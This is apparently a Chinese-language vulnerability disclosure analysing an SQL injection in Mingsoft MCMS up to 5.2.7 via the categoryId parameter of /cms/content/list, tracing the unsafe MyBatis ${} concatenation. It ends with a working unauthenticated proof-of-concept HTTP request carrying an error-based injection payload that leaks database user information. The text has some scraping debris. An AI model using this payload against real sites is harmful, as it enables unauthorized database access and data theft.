

Mingsoft MCMS v5.2.7版本存在SQL注入,该漏洞位于路由/cms/content/list,参数categoryld存在SQL注入,缺少对于SQL数据的过滤和转义

## 三、影响范围

Mingsoft MCMS <=5.2.7

## 四、漏洞分析

位于net/mingsoft/cms/action/ContentAction.java,找到有一处路由\*\*/cms/content/list\*\*代码如下,对第128行IContentBiz.query()进行分析

接着,我们知道IBaseBiz是一个接口定义了query方法

BaseBizImpl实现类实现了IBaseBiz接口,我们知道一个类实现了一个或多个接口之后,这个类必须完全实现这些接口里所定义的全部抽象方法(也就是重写这些抽象方法),实现接口与继承父类相似,一样可以获得所实现接口里定义的常量和方法,可以看到IBaseBiz已经重写了query方法

?

BaseBizImpl实现类中重写了父类的query方法

我们知道IContentDao.java,IContentDaoimpl.java和McmsAction.java,分别对应映射的对象,对象的实现类和前端控制器,位于net/mingsoft/cms/dao/IContentDao.java中,IContentDao接口继承了IBaseDao接口,那么IContentDao接口就获得了IBaseDao接口的所有方法

从上图可以看到映射文件中的namespace="net.mingsoft.cms.dao.lContentDao"所绑定的是lContentDao接口,即面向接口编程,mybatis中,

Blog

Go

分析id等于query的SQL语句,第221行

select id FROM cms\_category where find\_in\_set('\${categoryId}',CATEGORY\_PARENT\_IDS)>0

我们知道mybatis框架find\_in\_set后是不能用#{},使用\${}是拼接,底层调用的是Statement对象,直接将categoryld的属性值拼接进SQL语句,没有任何的过滤,参数categoryld存在SQL注入

# 五、证明

不需要cookie凭证,直接构造poc即可利用:

POST /cms/content/list HTTP/1.1

Host:172.20.10.3:8081 Connection: close

Accept: application/json, text/plain, \*/\*

Origin: http://172.20.10.3:8081

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, Like Gecko) Chrome/74.0.3729

Referer: http://172.20.10.3:8081/ms/main.do?

Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9

Content-Type: application/x-www-form-urlencoded

Content-Length: 197

categoryId=2' AND GTID\_SUBSET(CONCAT(0x716a717871,(SELECT MID((IFNULL(CAST(grantee AS NCHAR),0x20)),1,190) Fi

**→** 

本地搭建环境验证,在路由/cms/content/list下,参数categoryld存在SQL注入,如下图所示通过SQL注入成功获取到用户信息root@localhost
